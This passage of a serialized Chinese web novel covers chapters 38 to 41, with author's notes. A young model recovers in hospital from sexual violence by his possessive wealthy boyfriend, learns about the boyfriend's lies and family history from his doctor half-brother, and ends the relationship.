“好的,辛苦你了。”贺过岭笑容温和,“你刚刚去换吊瓶,病人情况还好吗?” 护士摇头:“那个贺总——应该是20床的男朋友吧?昨晚深更半夜抱着人冲进来,把主任都惊动了,连忙安排当值医护腾手术室出来。一检查,您猜怎么着?性暴力致伤。那贺总人模人样的,看起来也不像是干得出这么……呃,的事。您也知道,这种情况的病人很容易留下Ptsd的,刚刚应该是病人清醒了,看到施暴者情绪有些激动,我换完吊瓶都还没缓下来。唉,蛮可怜的,听说还是个模特呢。” 她临了才想起来那个贺总和贺医生好像是兄弟,好悬把“畜生”两个字吞下去了,还差点咬到舌头。 贺过岭并不计较,“嗯”了声,又说:“涉及病人隐私的事,不要和无关人员透露。” 护士连连应下,没聊两句,又急匆匆地赶着去下一个病房。 贺过岭站起身,拿消毒酒精往她刚刚站过的地方喷了喷,转身打开休息间的门,对着床上供起来的被子轻轻喊了声。小狗一听到动静,就一骨碌翻身起来,抬起毛绒绒的小脑袋,激动地摇着尾巴。 贺过岭向它伸出手,小狗嗅了嗅,舔着他的手指。 “我想多养一条小狗,”他若有所思,“虽然他曾经有过主人。” 他把小狗抱起来,放进自己又深又宽的外口袋里,沉甸甸地坠着一团。 贺过岭特意挑了贺越邱离开的时间,带着小狗来到病房。 戴维刚把甄甄哄得好转了一些,余光瞥到有人进来,回头一看,气昏了头:“你怎么还敢来?以为换件白大褂就能把甄甄骗过去?做梦!你快……” 他忽然又没了声音,愣愣地看着贺过岭走到病床前。 八分相似的五官,稍矮一些的个子,戴了眼镜,气质完全不同。这不是贺越邱。 贺过岭微微一笑:“那是我哥。” 戴维有些尴尬,偷偷看了眼甄甄,也不知道相似的容貌,会不会让他再次应激。 贺过岭说:“我想为他做一些心理干预,要是效果不好,我会马上离开的。” 这个人——好像会读心术一样。戴维暗暗想,他想说的话,每次都被他提前堵回去了。 毕竟是医生,戴维也没办法像对贺越邱那样强硬,只好让开一些:“那你试试吧。” 贺过岭点头笑笑:“谢谢。” 但他刚一靠近,好不容易才冷静下来的甄甄,又开始应激,把自己缩成毫无安全感的一团,藏进被子里,只敢露出一丁点栗色的发顶。 戴维的心揪起来,正要请离,只见贺过岭从兜里掏出一只肥美滚圆的白色小狗,他不可置信地睁大眼,“这是……” 小狗伸着湿润黑亮的短圆鼻子,朝空气中嗅了几下,汪汪两声,被贺过岭放下,撅起屁股摇着圆短短的尾巴,一个劲地往甄甄的被子里钻。 圆滚滚的小脑袋探进来,和瑟瑟发抖的甄甄大眼对小眼。小狗歪着头,咧开嘴,吐着粉红舌头,轻轻地舔舐着甄甄打着留置针的苍白手背。 感受到湿润又略带点粗糙的温度,甄甄慢慢睁圆了眼睛,发抖的频率也渐渐低下来,虽然还是没办法对外界的刺激做出主动反应,但也没有尖叫哭泣着推开。他躲在被子里,安静地看着这只小狗一点点挪到他的怀里,然后蜷成温暖厚实的一团,小小的爪垫踩在他的胳膊上,露出白中透粉的肚皮。 甄甄的肚子贴着它的肚子,暖烘烘的。他看着它,慢慢地不发抖了。 即使隔着一层被子,戴维也能感受到甄甄状态的平复,他惊奇地瞪大眼,贺过岭则是笑道:“很多时候,宠物可以缓解人的心理压力,一些三甲医院的心理咨询室已经引入了一些性格好不怕人的猫咪小狗,治疗效果很显著。” 戴维恍然大悟:“所以这也是你的同事?” 贺过岭笑笑:“不。它是我的小狗。只是有些时候,我会带着它一起来上班。” 戴维遗憾道:“这样……我还想说,挂一下狗专家号,让它多来陪陪甄甄呢。” “可以。” 戴维一时还没反应过来:“可以?什么……” 贺过岭推了推眼镜,目光落在那团微弱的起伏上,温声道:“如果有需要,我可以多带珍珍来。” 戴维闻言,露出真诚的笑意,他没想到贺越邱那么不是个人,他弟弟倒是个白衣天使,语气都不自觉轻松了些:“那麻烦你了,等甄甄病好出院,我一定给你定做锦旗,从医院大门一路抗到你办公室。” 贺过岭失笑,正要说话,忽然一声惊怒暴喝,打断了两人的交谈。 “贺过岭?!你怎么在这儿?谁准你进来的!” 贺越邱换了身衣服,拎着食盒,怒不可遏地站在门口。 戴维担心甄甄,忙走过去,压着声音发火:“你是不是有病啊,有病就赶紧挂脑科治治,他好不容易才镇静下来,你非要把他逼疯才心满意足是吗?” 贺越邱直接推开他:“有你什么事,给我滚开!” 他径直冲到贺过岭面前,挥起拳头:“只会抢别人东西的杂种,给我有多远滚多远!” 贺过岭勉强躲开,但眼镜还是被打飞了,清晰的视野顿时模糊,连带着其余四感都迟钝不少。 戴维冲上来拽住贺越邱,急怒道:“你别发疯!” 贺越邱一把甩开他,上前两步揪住贺过岭的衣领,他又要挥拳,这回是小狗冲出来,扑到他腿上,狠狠咬下一口。 “操!哪来的小畜生!” 贺越邱倒吸冷气,暂时顾不上贺过岭,抓起小狗就要往地上扔,关键时候,一道他无比熟悉的哭声制止了他。 甄甄跌下床,清瘦的脸颊上挂满泪水,呼吸急促地捂着胸口,发不出声音,也不敢抬头去看那个一身戾气的男人,哭得上气不接下气,含糊不清地重复着:“小狗……小狗……” 贺越邱满腔的怒火瞬间冷却,他有些慌乱地单膝跪下来,拎着那条小白狗的后脖子,放进甄甄的手里:“别哭……别哭宝贝,狗在这儿,是你的,给你。” 他没说两句话,因为狗毛过敏,喉咙迅速水肿,很快就徘徊在窒息边缘,但还是一个劲地把小白狗塞给甄甄,哪怕思维已经完全混乱:“狗……狗……别哭,甄甄……别哭……” 话音未落,便失去意识,重重地倒在地上。 戴维还没来得及拉开他,见状懵了下,贺过岭找到眼镜重新戴上,一边把甄甄抱回病床上,一边又赶紧按铃叫人。 急救团队匆匆赶过来,手忙脚乱地把贺越邱往担架上抬,费了半天劲才把他的手从病床垂下来的被单上扯开。 戴维这一天过得算是鸡飞狗跳,他扶着额头,只觉得头疼,也需要去心理科挂个专家:“这都他妈……什么事儿啊。” 一个两个的,都跟疯了一样!—— 作者有话说:应激小狗会很快好起来的,下章提分手,但有的攻要死缠烂打[哦哦哦] 第39章 第 39 章 谎言。 贺越邱的过敏症状很严重, 急救结束后,被送进了ICU观察,连着几天都没能再来纠缠。 戴维乐见其成。他知道甄甄在北京无亲无故, 又觉得女护士多少会不方便, 直接请了一周的假。在他身体力行的照顾下, 甄甄恢复得很快。 贺过岭的办公室就在这层楼, 忙里抽闲, 也经常会带小狗来。 一开始甄甄分不清他和贺越邱,而且下意识地恐惧身形高大的异性,经过几天的心理干预后,再看到他进来, 情绪就慢慢地没那么容易激动了。 但他始终不愿意和贺过岭有任何言语或者眼神上的交流, 每次都眼巴巴地看着戴维, 等他把小狗抱过来。 他很喜欢小马弟弟, 抱在怀里贴贴脸,给它梳毛,扎好看的辫子, 依偎在一起睡觉。 方寸行偶尔也来过,但不敢光明正大, 多数时候要么只站在门外远远地看上一眼,要么等晚上甄甄已经睡下才进来看看。 戴维对他在酒店做的事还有气,但看着他一连许多天脸上都没半点笑意, 每次来也都是小心翼翼的样子, 多多少少有点儿看不下去,硬邦邦地说:“你如果要道歉,下次当面来吧。” 方寸行犹豫许久,余光看到熟睡中的甄甄眨了下睫毛, 还是起身悄悄走了。 第二天他提着果篮又来,从门口往里看,甄甄和戴维都不在,纠结了一下,打算把果篮放下就走。 然而一转身,正好碰上抱着小狗回来的甄甄。 方寸行的身形很明显地顿了一下,少见地局促,左右顾盼着,半天憋出一句我先走了。 甄甄却出乎意料地留下了他。 方寸行表情意外,回过神后,眼睛中流露出一丝惊喜。他也不敢乱动,就规规矩矩地站在原地,看着甄甄从自己身边走过去,弯下腰,把怀里的小狗轻轻放到病床上,本该合身的蓝白色病号服却往下垂着,随着微风轻轻晃动,显出他过分清瘦的腰背。 他对着小狗流露出微微的笑容,举手投足间的温柔,竟给了方寸行一种富有母性的错觉。方寸行这又才知道,甄甄不只有平素相处时机灵活泼那一面,他安静时就如弱柳扶风,透着一种让人别样心动的柔怯。 方寸行一时看得呆住,都忘了要说什么。 甄甄还不太能够和除了戴维之外的高大异性正常交流,他坐在病床上,稍微偏过头,一种回避姿态。 他有些艰难地说:“有……什么事,你……说吧。” 方寸行眼底浮现出心疼,沉默片刻,用最诚恳的语气,说:“之前在酒店的事,我为我的失言失行向你道歉。醉酒并不是理由,我的所作所为实打实地伤害到了你,不论你原谅与否,我都想为我的错误行为做出补偿,希望你能给我这个机会。” 甄甄盯着雪白的床单,看久了眼睛有些痛,缓慢地摇摇头:“最大的错……不在你身上。如果不是你把真相说出来……我也许会一辈子都被蒙在鼓里……” 说到底,方寸行除了告白时过分强硬之外,又做错了什么呢?他说的每一句话,站在他的立场上看,全都是真话。方寸行只是没想到,原来他不知情,没想到他会连夜坐红眼航班飞回北京对峙,没想到看上去那么爱他的贺越邱……居然可以对他做出这样残忍的事。 他们之中的谁都没有上帝视角,谁也没有预知能力,可以提前阻止这些事的发生。要怪就怪他天真得愚蠢,连至亲都不曾好好待他,却相信仅靠爱情就能让一个陌生人打从内心地尊重他、爱护他。 多可笑啊……这样的情节,现在连十五六岁的少女都不会再相信了,可他偏偏深信不疑,以至于落到今天这个下场! 甄甄的视线渐渐被水雾模糊,强撑着一口气忍住没落下来,小狗似乎感受到他失落的情绪,轻声哼鸣着,摇晃着尾巴,舔舔他的手指安慰。 从方寸行的角度,能够清楚地看见甄甄眼角的水光,他一时有些手足无措。 他想他今天不该来的,明知道他一看见自己就会忍不住想起那些伤心事,却还是怀揣着侥幸心理,想要偷偷地看上一眼,因为一己之私,害得甄甄又陷入梦魇中。他如今怎么也学得这么卑劣,总害得最无辜的人难过? 方寸行没脸再待下去,临走前,愧疚道:“你不用为我开脱,错了就是错了,我会尽我所能补偿你。” 甄甄忍住眼泪,低下头,声音是那么小:“不需要……我不恨你……但是……” 他平复了一会儿,才能勉强把话说完整:“我也没办法接受再继续和你一起共事……我已经写好了辞呈,工作日会提交。辞职之后,我们就……没什么联系了。” 方寸行闭上眼,一阵深深地无力席卷了他全身,感性要他再争取一下,理性要他尊重甄甄的决定,他夹在两难之中,最后什么也说不出,握紧拳头,有些狼狈地落荒而逃。 等他走后,甄甄才敢转过头,看着半掩的病房门,有些发怔。 他说不出自己现在是什么感受,眼睛涩涩的,想哭却流不出眼泪,胸口闷闷地好像压着重物。他其实也想过要不要恨方寸行,说不定会让自己心里好受一些,可他又没有办法做到。但他也不是那么地善良,他存了私心,没有告诉方寸行,他其实早就没有再讨厌他。这是甄甄能够想出来的,自认为对方寸行最严重的惩罚。 甄甄躺回病床,出神地盯着天花板。 他在医院又待了两天,张医生早晨来查房,各方面都检查过后,跟戴维说明天就可以去办出院手续。 戴维高兴地送走了张医生。 下午,贺过岭带着小狗来探病。 他知道甄甄不太欢迎自己,每次来都只远远地站着,并不靠近他。 今天是看甄甄心情还不错,想测试一下他恢复得怎么样,便主动搭话:“等出院之后,要不要试着养一只小狗呢?” 甄甄在逗着珍珍玩,下意识道:“可是贺越邱宠物过敏……” 他忽然愣住,半天,才迟钝地想起来,贺越邱前几天因为过敏,至今还在住院,情况比自己当时更危急。 他恨他,怨他,可他的潜意识在短时间内,还是无法对这个名字释怀。他也不知道还要用多久,才能把这个人的痕迹从心里彻底抹去。乐观地想,可能要不了几天,或者一个月,一年,他很快就能开启新的生活了;悲观一点,可能他这辈子也无法释怀贺越邱带来的伤害。 他虽然还年轻,但感情的事,谁又能说得准呢。他曾经竭尽全力地去爱一个人,要忘掉他,或许也得竭尽全力。 贺过岭自知失言,想要重新开启一个话题,甄甄看着这张和贺越邱八分相似的脸,不知道是哪里来的勇气,主动揭开心底的伤疤,问他:“你和贺越邱,是不是真的关系不好?” 贺过岭的语气很平缓,循循善诱,说:“这个问题,对你而言很重要吗?” 甄甄闭了闭眼,决绝地点头。 贺过岭似乎轻轻地叹了口气,旋即平和地说:“关系么……在你面前诋毁我哥,恐怕会显得我也不是一个人品多好的人。但回归到问题本身,答案是不好。而且我猜,你应该不只是想问这个。” 甄甄无法反驳。 他想要知道,除了账号的事,除了放纵方寸行的接近,贺越邱对他究竟还有没有隐瞒。纵使碍于豪门间错综复杂的关系,贺过岭的话或许也存在刻意引导和挑拨,但他再也不能只做一个偏听偏信的傻子了。 一味地逃避不是办法,他已经成年很久了,不能再像小孩子一样,摔倒了就躲进父母的怀抱里哭闹,他要把心口上的疤彻底剜掉,无论再痛、流再多血,至少不能留着,让它继续溃烂。 贺过岭道:“你可以随便提问,我不会隐瞒,全都如实相告。” 甄甄仅仅知道贺越邱母亲早亡,和家里人关系不好,尤其是跟这个同父异母的兄弟更是水火不容,但其他更多的细节,他就也不清楚了。想了想,他问:“你母亲……真的对贺越邱不好吗?” 贺过岭并无被冒犯的不满,答道:“看是什么阶段。他母亲刚去世那几年,出于对妹妹遗孤的怜悯,也是国人传统观念里的逝者为大,沈云女士对尚且年幼的贺越邱是尽到抚养义务的。但他那时已经有六七岁,基本记事了,知道父母辈的复杂关系,所以对两位长辈,包括我,抱有很大的敌意,且一直延续到今。” “那他真的受过虐待……”甄甄喃喃道。他的脑海里,不知为何浮现出贺越邱抱着他的一幕,倾述他十三四岁就被送去国外,一个人艰难求生。 贺过岭看入他的眼睛,温声道:“我不认为那是虐待。他做错事,所以应该受到管教,天经地义。况且,这是我父亲的决定,我母亲在其中并没有起到太大的作用。” 他说完,解下手套,挽起袖子,露出底下病态的苍白皮肤。 甄甄不明所以,刚要阻止,但看清楚他手上恐怖的疤痕后,忽然噤声。 甄甄瞳孔在颤,失声道:“这、这是……” 贺过岭轻描淡写道:“大概是我十一岁生日宴那年,我的伙伴们都在,贺越邱当众侮辱我的母亲,所以我趁晚上,偷偷撕掉他母亲留下的日记泄愤。这个举动激怒了他,即便我已经被我母亲罚跪过,但他还是提着一桶烧开的沸水,径直往我身上泼。那是夏天,我穿得很少,没有厚衣服遮挡,所以沸水直接烫熟了我的皮肤。据下人们说,我当时就痛晕过去了,被送到医院急救,最后全身60%烫伤,植皮三次,依旧留下来增生疤痕。我母亲很崩溃,但碍于继母的身份,她没办法对贺越邱施以太严厉的惩罚,甚至不能太过分的责骂。是我父亲意识到我们兄弟之间不太可能再培养出什么手足之情,他怕哪天贺越邱趁夜弄死我,不得不把他送出国。” “我说这些你大概不太会相信,但我没有骗你的理由,这些疤痕太丑陋了,就算是我也没办法坦然面对。” 所以初见面时,贺过岭一副怪人打扮,连平时在医院也都是里里外外裹得很严实。 甄甄看到了他手臂上恐怖的瘢痕,不敢想他身体上还有多大面积的旧伤,也理解了他的行为,内疚道:“对不起……我不该问……” 贺过岭淡淡一笑,把衣袖放下,慢条斯理地戴上手套:“万幸的是,脸没有毁容,不然就要戴面具了。” 他是想开个玩笑活跃气氛,可甄甄一点儿也笑不出来。贺过岭不想他自责,安慰道:“真的没关系,连我妈第一次看到我那样子,都吓得尖叫,你已经是见过我伤疤里唯一会先为我感到伤心,而不是嫌弃恐惧的人了。” 甄甄难过地低下头,半天,才闷闷地问:“你们……这都是上一辈的遗留问题吧……那你们的父母间……到底谁对不起谁?” 贺过岭叹息道:“真要说起来,谁都对不起谁,没有人是完全无辜的。我母亲和贺越邱的母亲是一母同胞的姊妹,因为我母亲先出生,我父亲后出生,那时还没有贺越邱母亲——也就是我的小姨——所以两家就给我父母定了娃娃亲。他们三个从小一块儿长大,称得上一句青梅竹马。我父母两情相悦,本来算是佳偶天成,但谁都没想到,小姨也爱上了我父亲,他出国,她就也追着出去。毕业晚会上,我父亲喝醉酒,她利用和我母亲相似的长相,生米煮成熟饭,就这样怀上了贺越邱。回国后以死相逼,求我母亲放手成全。她若不达目的,就是一尸两命,我外祖家不得不同意更改婚事。” 甄甄听得愣住了,贺过岭顿了顿,接着说:“婚后我父亲不愿待在我小姨身边,常年出差在外,婚姻名存实亡。可我小姨生性比较偏执,我父亲不愿意亲近她,她就会拿贺越邱要挟,打他、骂他,以期挽回丈夫。打骂之外,她也很疼爱贺越邱。像我们这样的家庭,无论父母,其实都不太会亲近孩子,即便我的母亲也不例外。但我小姨对贺越邱算是事必躬亲,哪怕病重的最后那段日子里,也总会强撑病体,把手里的财产都清算好,全部留给了他。” 他看着甄甄手背上的针孔,似有不忍:“客观来讲,我小姨无论作为妹妹、妻子,还是母亲,都有失职的地方。她或许最不应该的就是身体力行地向贺越邱传达了一种不正确的恋爱观,以至于他和他的母亲一样偏执,暴力,疯狂。我的父母自然也有教育上的缺失,他们没有正视贺越邱内心的需求,甚至一味地要求他承担起兄长的责任,要求他让出自己那一份利益,这也导致了他性格的扭曲,最终对你造成难以挽回的伤害。但无论如何,这些都不是他可以伤害你的理由,我代他向你提出最诚恳地道歉。” 甄甄听到最后,已经听不见贺过岭在说什么了,他怔怔地流着眼泪,也许有一小部分是为那个被性格偏激的母亲折磨的小男孩,但更多的,是一种痛苦到没办法出声的愤怒和悲伤—— 贺越邱,你到底还有多少谎言,到底还要骗我到多久—— 作者有话说:有空再修一下,我又生死时速了没写到跟病重死老公说分手[爆哭] 第40章 第 40 章 “贺越邱,我们……分手…… 贺越邱前两天都在昏迷, 脱离危险后,便从ICU转移到了特护病房。其实可以稍作走动,但他知道甄甄需要安静的环境养病, 而他一旦去了, 肯定会影响到他, 所以硬是按耐住想要去找他的冲动。 和甄甄待在同一家医院、甚至可能就在同一栋楼里, 却不能够和他见面, 贺越邱接受不了,与其这样,他还不如回公司加班。 急诊科主任硬把贺越邱的出院申请按下来了,急性过敏非同小可, 哪怕这人再有地位说话再管用, 也没人敢冒这种风险。 贺越邱只能插着乱七八糟的管子, 每天在病床上办公。他加大了工作量, 想借此麻痹自己,忍耐着想要和甄甄见面,想拥抱他、和他亲热的冲动。 贺越邱并不擅长这种忍耐, 他从来都不需要延时满足,也只有甄甄可以让他压制住本能。除此之外, 他也隐隐地有些许期待,偶尔抬起头,看向紧闭的病房门时, 总会幻想下一刻会不会有人推门而进, 但每一次他的希望都落了空。 长此以往,贺越邱不自觉地生出一些委屈,甄甄明明知道他命悬一线,想要打听到他的病房号也很轻易, 可快一周了,他却一次都没来看过自己。 从前绝不会这样。他想起来邀请方寸行做客的那天早上,他的演技那么拙劣,但甄甄一听到他‘受伤’,不管当时有多生气,还是紧张到立刻从床上摔下来。 越对比,贺越邱就越难受,他得到过,就忍受不了失去。 但当日思夜想的人真正出现在面前时,贺越邱反而愣了许久。 他有些不可置信地看着甄甄,本来就瘦的一个人,住了几天院,从前合身的衣服,现在都变大了一些,手腕、腰身,甚至是下巴,全都瘦了一圈,薄薄一张纸片似的,风一吹就轻轻飞走了。 贺越邱一边为甄甄的探望而喜出望外,一边又心疼他的消瘦。他立刻结束了视频会议,把电脑合上放到一边,想下床把甄甄抱进怀里,一动才发现还在输液,没打留置针的那只手尴尬地摸了下鼻子,也不知哪来的局促,招呼客人一样,指着一旁的沙发,让甄甄快坐,又问他这么早来吃过饭没有,他马上就让小王去订。 甄甄迟缓地摇着头,说不用。也没坐下,只远远地站在门边,不敢走近。 生疏的距离让贺越邱心头一震,脸上笑意褪去。他意识到,即便已经过去这么多天,那件事带给甄甄的阴影,竟然一点也没有消除。 甄甄低着头,克服着恐惧,迅速地往病床方向瞥了一眼,心情很复杂。 贺越邱要管着一整个集团,工作强度一直都很大,连熬几个通宵是常有的事,忙起来也经常没空吃饭,但他从来没见过这人生病,连感冒都很少。贺越邱在甄甄心里,就像是一个钢铁铸就的人,高大威猛,持久待机,再难的事也不会将他击垮。 但当甄甄被这具曾经羡慕过的强壮的身体暴力性/虐后,观感就又发生了新的转变,现在病容憔悴的贺越邱,居然要比平日里生龙活虎的他,更能让人接受一些。至少不会吓得他抱头尖叫,哭泣着到处寻找能躲起来的地方。 否则甄甄都不知道,他今天还能不能鼓起勇气,来见这个带给他可怕噩梦的人。 甄甄深吸口气,即使打过腹稿,声音还是抑制不住的颤抖:“我们……谈谈。” 他太正式,贺越邱心里没底,主动道:“那晚的事,我当时真的犯浑了,一时激动起来就没有考虑到你的感受,这是我的错,我不会逃避。可你也知道,我真的不是故意的,我没办法接受你要离开。看在我们这么多年感情的份上,最后再原谅我一次,好吗?我以后真的不会再做对不起你的事,我保证。” 贺越邱只要一提起那个晚上,甄甄的情绪就有些激动,他掐着自己的手臂,竭力忍下来:“谈不上什么原谅不原谅,我今天来……只是,只是想和你做个了断。你既然拿这些年的感情说事……那我,我也觉得,我们谈这么久,要分开的话,也应该好聚好散,给彼此留点体面。” 贺越邱一听到“分开”、“好聚好散”这些话,几乎立刻就要生气。他是做错了事,可至少应该给他一个弥补的机会,让他去偿还自己犯下的错,难道不是吗?怎么可以一句话说断就断?谁允许的?谁同意了?! 可他脸色才刚有点变化,甄甄便吓得摇摇欲坠,他又实在受不了,忍着心痛,压低了声音,近乎哀求道:“别这样说……不要分手,好不好?那个账号的事,我真的可以解释,我从来没有不尊重你,也没有轻视这段感情,可能你确实不能接受那些词汇,可我保证,我绝对没有刻意想侮辱你的意思。我哄你拍的那些视频和照片,除了我自己之外,从来没有发出去给任何人看过,你要是不信,我把我的手机和电脑都给你看,你不喜欢,我以后也都不拍了。” 甄甄还是高估了自己的承受能力,他听见贺越邱这些话,反而先崩溃了,眼泪瞬间涌出来:“只有账号的事吗?!只是你的强/暴吗?!你父亲的寿宴、方寸行的接近、那一晚的堵车……甚至连你对我坦白的家境,你悲惨的童年和过往,全部都是假的!这么多年,你撒了多少的谎,骗了我多少次,你自己还记得清楚吗?你嘴里还有一句真话吗?我还能再相信你吗?我在你眼里,就是这么好骗,随便扔个饵都会上钩!” 贺越邱瞳孔放大,瞬间意识到有人对甄甄吹了耳边风,他马上想要辩驳,可话到嘴边,却堵得难受,因为他确实都做过,解释又有什么用,伤害已经造成,就是一个彻头彻尾的骗子。 “贺越邱,是你亲手毁了我对你的信任,毁了我对爱情所有美好的想象,我不想恨你,不想怨你,可我根本做不到,我没有那么大方,我恨死你了!我真的恨你恨到想要去死!” 甄甄的声音越来越尖锐,一字一句像拿刀在割着自己的肉,他痛得实在太无力了,太悲切了! 这个男人说的每一句话都在骗他,爱情本身就是一场巨大的PUA,理智的人不会落入这个陷阱,吃亏的永远是他这种容易情绪化的蠢货。 甄甄的眼泪一颗一颗连续不断地滚下来,又被他野蛮地、倔强地抬手擦掉,他忽然生出来勇气,敢正面直视着贺越邱,震耳发聩地质问他:“你告诉我,发生了这么不堪的事,我该怎么当做无事发生,该怎么不计前嫌地原谅你,继续和你躺在一张床上,和你接吻,同你说亲密无间的话,在你身下情动?不可能了……不可能了!你的每一句情话都会让我想起你账号上那些羞辱,每一次背过身承受你,都会让我害怕你是不是又在拍我。” “如果不离开你,我连最后的自尊都没有了,我连自己都不爱了!” 贺越邱再也没办法假装冷静,他扯掉留置针,任由鲜血直流,冲到甄甄面前,想要拥抱他,想要擦干他的眼泪,痛苦道:“别说了……别再说了……是我的错,都是我的错,我没有办法让这一切从未发生,你再给我一次机会,我以后会好好爱你。我爱你,甄甄,我爱你。” “够了!我不想再听你说这些!你爱我吗?你只是欣赏我的眼泪,欺弄我的天真,享受我的年轻,你从来都没有把我当成一回事,从来没有!” 贺越邱情绪激动:“我不爱你?一个不爱你的人会因为你的一个眼神、一句话动情,会心疼你有厌食症,不管再累再忙都变着花样地做四年饭?我对你的爱,并不比你对我的爱更少,甄甄,你怎么能说出这样的话?你怎么能否认我的爱?” 甄甄反应更大地推开他,来之前他就暗暗告诉过自己,要平静地同这段过去告别,不可以再歇斯底里,显得好像自己很放不下那样。可情到深处,恨到入骨,他还是没办法冷静。 他死死咬住下唇,气喘吁吁地瞪着贺越邱,任由泪水冲刷着雪白的脸颊,半晌,才艰难地吐出一句话:“贺越邱,你对爱可能有误解,爱和爱不一样,我和你……也不一样。你爱的是我脱光后的身体,我爱的是你熟睡时的心跳,被你拥进怀里的安稳。但是,我现在看见你,只会害怕,只会很痛苦。” 甄甄的眼角有泪花在闪,轻轻地重复:“贺越邱,我从来没有想过,爱会带来痛苦。” 透明的、温热的眼泪滴在贺越邱手上,一阵发自心底的钝痛,让他忽然意识到自己做出了多过分的事,并不是只有一件,而是重重叠叠加在一起,早就超过负荷,账号的事不过是一个压死骆驼的最后一根稻草。 没有人想在吵架分手的时候哭出来,那样只会显得自己玩不起,也特别不洒脱,容易被反将一军——除非真的太委屈,真的忍不住了。 不管什么时候,那股委屈的劲儿一上来,才是最容易让人情绪崩溃的。多少声嘶力竭,争执吵闹,都是因为委屈爆发出来。 甄甄的眼泪有多少,他的委屈就有多少。 贺越邱怎么擦也擦不干他的委屈。 甄甄哭起来的时候,呼吸会一抽一抽的,实在没办法说话。他缓了好久,才终于能够勉强说出来那句话:“我什么都说清楚了,贺越邱,我们……分手吧。”—— 作者有话说:想和你们玩营养液加更的小游戏,但我又玩不起,因为我没存稿,真是没招了哈哈哈哈哈哈哈[小丑] 40-50 第41章 第 41 章 快带我远走高飞。 贺越邱心里有千言万语, 但看到崩溃痛哭的甄甄,纵使再多的话,也都悄无声息地沉底了。 太子爷高高在上地活这么多年, 除了和家里人的矛盾, 在外面还从来没有人敢主动给他气受, 更没有人敢再一再二地踩他雷点。甄甄非要分手, 他是真的又难堪又恼怒, 可他哭得又是那么伤心,更别说没看见的时候,还不知道哭了多少回。 贺越邱既心疼又愧疚,他只是不想让甄甄离开, 从来没想过要主动伤害他, 可这一回他是真的被自己折腾得够呛, 瘦成这样, 他不敢再逼得太紧。 最后,贺越邱也只能强忍心痛,说:“如果对你而言, 待在我身边是一件这么痛苦的事,只有暂时远离我才能够让你的精神尽快恢复, 那么好,我可以短暂地放手。我们都喘口气,等你气顺了, 再好好谈。” 贺越邱始终觉得, 他并没有犯下原则性的错误,那些都是可以改的。况且他们在一起这么多年,有这么深厚的感情,不提他如何, 难道甄甄说放下就真的能放下吗? 他知道他受委屈了,他允许他把委屈发泄出来,发泄完,他们还是好好地在一起。 甄甄情绪激动地反驳:“不是暂时远离!也不是什么短暂放手!是分手,你听得懂吗?分手!断得干干净净,你是你,我是我,以后我们之间什么关系都不会再有!” 贺越邱根本听不进去话,只执拗地重复道:“暂时性的。我允许你一个人冷静几天,但我没同意分手。” 他已经做出了巨大的妥协和让步,如果他再年轻一些,比如还是在美国留学时的年纪,他绝对不可能说出这样的话,也绝对不可能让甄甄离开他,无论是用什么办法,都一定会把人绑在自己身边。 甄甄还想争辩,可他对上贺越邱偏执的眼睛,那一瞬间,他想起来贺过岭描述中的那个爱到疯魔的女人,忽然就没了继续纠缠下去的力气。 随便吧,随便贺越邱怎么认为。反正他已经下决心要离开,就算他再有钱有势,也不能控制他的思想和感情。 等再过一段时间,等贺越邱逐渐冷静下来,习惯了身边没有自己,生活照旧过,说不准就不会再这么执着。 而他也必须一直用这句话告诫自己,不要心软,不要回头,这个世界上没有谁离了谁是不能活的,哪怕之后很长一段时间他都会活在悲伤痛苦的失恋状态里,那也总比活在会害死人的虚情假意里强! 甄甄转身走了,他不想再跟贺越邱有多一分一秒的纠缠。 戴维就在外面等待,急得走来走去。 他亲眼见过贺越邱动手,方寸行和他弟弟那么高大的两个成年男人在他手里都占不到上风,更何况大病初愈的甄甄? 好在甄甄全须全尾地出来了,戴维长长舒出一口气。 等甄甄走近,他才看见他泛红的眼眶,礼貌地什么都没问,只是帮忙按下电梯。 走出医院后,甄甄婉拒了戴维送他的好意,住院这段时间已经麻烦他够多了,怎么好意思再一直接受他的帮助。 “如果你暂时找不到合适的房子,可以来我家暂住。虽然现在我们不算同事了,但还是好朋友,不管你有困难还是烦心事,都可以告诉我,能帮的我都会帮你,我不想看到你过得不好。”戴维诚恳道。 甄甄鼻尖一酸,带着点哽咽,努力笑道:“好。” 戴维叫了出租车,这次他能够很清楚地报出目的地。 他今天出院,也是搬家。 既然提了分手,甄甄就不可能继续住在贺越邱的房子里。他这小半年做平面模特攒下来不少钱,北京一套房子的首付是不够,但找个落脚地并不难。他打算先把自己的东西都拿走,找个酒店暂时住下,然后再慢慢租合适的房子。 甄甄走出电梯,在门前站了好久,一想到这里面曾经都发生过什么,就呼吸困难,手脚发冷。 他有些高估自己的恢复能力,早知道反应还是会这么大,他就花钱找搬家公司了。 甄甄转身靠着墙,反复几次深呼吸,过了好一会儿,身体才慢慢地抖得没有那么厉害。 他颤抖着伸出手,输了密码,忍着恐惧和心痛,迈过门槛,重新进入这个带来噩梦的房子。 甄甄鼓起勇气,打量了一圈,贺越邱应该是回来过,或者叫过钟点工,有关那晚的痕迹被全部抹去,连主卧的四件套都换了,干干净净的,仿佛一切都没发生过。 他站在熟悉的房间里,这张床,窗台,沙发,地毯,厨房,浴室……他都曾和贺越邱抵死缠绵。他们赤身裸体,荒唐起来不分白天黑夜,每一个吻都饱含爱意与激情,每一次被填满都能让他感受到安全感和幸福。 垃圾通知忽然响了一声,把甄甄扯回现实,他扭头看向镜子,脸色苍白像鬼,眼神里透着深深的惊惧,耳边依旧回荡着那一晚自己绝望凄惨的哭喊声。 他重重地闭上眼,泪水立刻滚下来,划过颤抖的唇角,留下一道冷冰冰的水痕。 明明还是一模一样的地方,甚至生日那晚他们还做过,却再也感受不到曾经耳鬓厮磨的甜蜜与温馨,只有逃离的念头一刻不停地催促着,教他快快离开。 甄甄心慌意乱,来不及一样一样区分哪件东西是贺越邱的,哪件东西是自己的,他也没有想过要拿走那些贺越邱买给他的昂贵礼物,只拿走了几套夏天的换洗衣物,胡乱塞进行李箱里,转身便落荒而逃。 经过客厅时,他的眼睛被茶几上一道亮光晃到,不由自主地停了下来。 看清楚是那条被摔碎的项链时,甄甄发出一声崩溃地尖叫,佝偻着身体嚎啕大哭起来。 大脑刻意压抑的对贺越邱的情感,无论是爱还是恨,都在此刻卷土重来,汹涌地拍打着他,好像下一刻就要把他卷进海水里,把他溺死在这份巨大的痛苦之中。 他揪着衣领,几乎就要呼吸不上来了,胸口曾经紧贴过它的地方爆发出剧烈的灼烧感,痛得他全身都没力气,向前摇摇欲坠。 